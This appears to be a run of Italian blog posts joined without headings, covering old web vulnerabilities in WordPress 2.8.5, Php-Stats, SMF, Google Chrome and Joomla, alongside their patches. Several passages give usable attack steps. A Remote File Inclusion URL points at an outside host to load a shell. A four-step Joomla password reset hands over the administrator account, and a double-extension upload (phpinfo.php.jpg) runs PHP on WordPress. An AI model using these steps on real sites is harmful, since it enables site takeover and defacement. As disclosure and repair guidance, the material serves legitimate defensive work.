La notizia era stata pubblicata l’11 Novembre scorso nella nota Mailing List Full Disclosure dove Dawid Golunski ha pubblicato un Proof Of Concept che potete leggere a questo link. Praticamente spiega che la verifica del file uploadato avviene confrontando l’estensione del file, estrapolata tramite una Regular Expression, con un array dei Mime Type permessi.

La Regular Expression, però, unita al fatto che i WebServer Apache (solamente in una particolare configurazione spiegata qui) consentono di creare file nel formato

filename.ext1.ext2

può essere bypassata uploadando un file contenente codice Php e assegnandogli un nome come il seguente:

phpinfo.php.jpg

In questo modo la verifica del file applicata da WordPress estrapolerebbe tramite la RegEx l’estensione “.jpg” e successivamente, verificandola con l’Array dei Mime Types ammessi, permetterebbe al file di essere uploadato scambiandolo per un’immagine.

Una volta fatto ciò chi attacca potrà richiamare lo script digitando la path standard dei file uploadati di WordPress ossia:

http:///wp-content/uploads/2009//phpinfo.php.jpg

Questa vulnerabilità, sebbene grave, non dovrebbe causare gravi danni visto che chi attaca deve essere un membro dello staff con privilegi di pubblicazione come era stato annunciato in occasione della 2.8.6.

Resta invece ancora sconosciuta la vulnerabilità di Cross Site Scripting scoperta da Benjamin Flesch sempre nella versione 2.8.5 di WordPress.

Eccovi alcuni link correlati:

Proof Of Concepts – WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution by Dawid Golunski

Vupen – WordPress Arbitrary File Upload and Cross Site Scripting Vulnerabilities

SecurityFocus – WordPress Unspecified Cross Site Scripting Vulnerability

Le vulnerabilità sono di due tipi: Blind SQL Injection e Remote Code Execution.

Tale vulnerabilità è stata riportata da Milworm e questo è l’indirizzo dell’Exploit.

Egix, lo scopritore di tale vulnerabilità riporta anche un fix da applicare al file “php-stats.recjs.php” al fine di correggere tale falla di sicurezza.

Per fixare il vostro Php-Stats aprite il file “php-stats.recjs.php” e posizionatevi alla Riga 94. Troverete il seguente codice:

if(isset($_GET['ip'])) $ip=urldecode($_GET['ip']); else break;

che andrà sostituito con questo:

if(isset($_GET['ip'])) $ip=intval(urldecode($_GET['ip'])); else break;

Come sempre eccovi il file già fixato:

Fix Php-Stats 0.1.9.2

Questo l’Exploit pubblicato su Milw0rm:

Name: SMF 1.1.6 Filter Post Bypass
Author: WHK
WebSite: http://www.jccharry.com/

en{
The data in a post are not filtered properly when someone enters
statements BBCode wrong without content that a user can enter
words banned by the system of restrictions by allowing expose
SPAM content, and so on.
}

es{
Los datos en un post no son filtrados adecuadamente cuando alguien
ingresa declaraciones bbcode sin contenido probocando que un
usuario pueda ingresar palabras prohibidas por el sistema de
restricciones permitiendo exponer contenido SPAM, etc.
}

Example of a post / Ejemplo de un post:

——————————————————————
[color=red][size=20pt]Fu[url][/url]ck you admin![/size][/color]

My SPAM: [b]ht[b][/b]tp://www.jc[i][/i]charry.com/[/b] >:D
——————————————————————

Demo:

http://www.jccharry.com/archivos_publicos/smf_filter_post_bypass.png

# milw0rm.com [2008-10-04]

Viene spiegato che “…i dati in un post non vengono filtrati correttamente quando vengono inseriti alcuni tag BBCode errati permettendo così di inserire parole (o tutto ciò che è ritenuto SPAM) bypassando il Filtro AntiSpam..“.

L’autore dell’exploit, tale WHK, allega poi l’immagine seguente dove riporta sia il metodo con cui ha inserito il testo ed i BBcode nel Post, sia il risultato finale.

Esempio pubblicato dall'autore

Avevo la necessità di testare alcune vulnerabilità per verificare se il sito che stavo analizzando era stato defacciato a causa di questo applicativo o se invece erano state utilizzate altre tecniche. Ne ho trovate diverse ma per ora vi scrivo la Remote File Inclusion utilizzata che, comunque, si trova facilmente cercando in Rete:

http://[Taget]/[Path]/config.inc.php?path_escape=<url che volete includere>?

Dalle mie verifiche ho riscontrato che il file che viene ricercato nell’Url specificato è “ipblock.inc.php” e, quindi, se volete includere una shell o simili vi consiglio di chiamare il file in tale modo e inserire l’Url dell Rfi senza specificare il file.

Se, quindi, avete il file nel sito “http://www.miosito.it/shell/ipblock.inc.php” l’Url per la Remote File Inclusion sarà:

http://[Taget]/[Path]/config.inc.php?path_escape=http://www.miosito.it/shell/

A questo link potete leggere la Vulnerabilità descritta dal sito FrSIRT.

Tale Exploit è un DoS PoC (Proof Of Concept) che sfruttando la funzione “alert” del JavaScript opportunamente formattata consente di far aumentare il carico in memoria di Google Chrome in pochi secondi causando un crash dell’applicativo. Ricorda come realizzazione quei JavaScript che venivano utilizzati forse 10 anni fa per far crashare i Browser (o in certi casi il Pc) generando un loop di apertura di PopUp.

Per chi volesse testarlo sulla propria pelle ecco l’Exploit versione Html e, successivamente, compresso con WinRar (non vorrei farvi crashare i PC  ):

Exploit Google Chrome – Milw0rm 6554

Ed eccovi alcuni screenshot del TaskManager di Chrome durante le prove.

Stato del TaskManager di Chrome appena avviato

Dopo 15 secondi la situazione era questa:

Lo stato della memoria dal TaskManager di Google Chrome dopo circa 15 secondi dal caricamento dell'Exploit

Aspettando qualche minuto la memoria Ram del proprio Pc sarà satura e Google Chrome andrà in errore

Il risultato di poco più di un minuto di attività dell'Exploit

L’unica cosa che mi permetto di osservare è che durante la navigazione, se si incappa in un sito contenente tale Exploit, potrebbe capitare di non accorgersi di quanto sta accadendo poiché, mentre Mozilla FireFox segnala e blocca l’apertura del Popup, in Google Chrome appare una barra in basso che, a mio avviso, non si nota particolarmente.

Rimango fiducioso verso gli Sviluppatori Google e come detto all’apertura di questo articolo tengo a sottolineare che stiamo parlando di una versione Beta. Penso che in occasione della primea Release Stabile questo genere di errori e falle saranno risolte a vantaggio di un nuovo concetto di Browser

Al link seguente troverete l’annuncio ufficiale:

http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html

Questo, invece, quello dal Sito Italiano:

http://www.joomlaitalia.com/content/view/323/90/

Sfruttare tale vulnerabilità risulta alquanto semplice poiché bastano pochi semplici passaggi per eseguire il reset:

1) Una volta individuato il Sito in Joomla caricare questo Url:

/index.php?option=com_user&view=reset&layout=confirm

2) A questo punto apparirà un form che chiederà l’inserimento di un codice che, teoricamente, avreste dovuto ricevere in mail

3) Inserite l’apice (‘) come carattere continuate

4) A questo punto avrete il campo di cambio password e, inserendola, editerete direttamente il profilo Administrator

Il supporto Joomla individuata la vulnerabilità (la variabile token non veniva correttamente verificata) ha provveduto a rilasciare in tempi da record la versione 1.5.6 con tale problema fixato. Dalla sua uscita sono stati scoperti ulteriori vulnerabilità che han portato alla release 1.5.7 in pochi giorni:

Potete scaricare dai seguenti link questa versione:

Joomla 1.5.7 Full Eng

Joomla 1.5.7 Full Ita

Per chi avesse subito un’hacking sfruttando questa vulnerabilità consiglio di aggiornare a questa versione e, nel caso siano ancora visibili “tracce” (home page cambiate) dell’hacker ho notato, per esperienza, che le pagine maggiormente colpite sono 3:

• configuration.php
• index.php (del template attivo nel Cms)
• la cartella “cache” (consiglio di svuotarla)

Provvedete a ripristinare le originali e il problema è risolto.

Dato che trovere il vostro account Admin non accessibile visto che è stata cambiata la password sarà necessario effettuare l’accesso direttamente al PhpMyAdmin e riscrivere la password nel Database.

Una guida a questa operazione la potete trovare qui.

Per chi non avesse sbattimento ho fatto uno scriptino veloce veloce che fa la stessa cosa. Basta copiare il file nella root della vostra installazione Joomla, richiamarlo da Browser e impostare la password.

Il file lo potete scaricare dal seguente link:

Joomla Change Admin Password

Infine, x chi ha molto sbattimento, di seguito la guida a come fixare tale vulnerabilità manualmente.

1. Aprire il file “/components/com_user/models/reset.php”
2. Posizionarsi alla riga 113 dopo la riga “global $mainframe;” ed inserire il seguente codice
   

   if(strlen($token) != 32) {
   $this->setError(JText::_(‘INVALID_TOKEN’));
   return false;
   }

3. Fine dei giochi!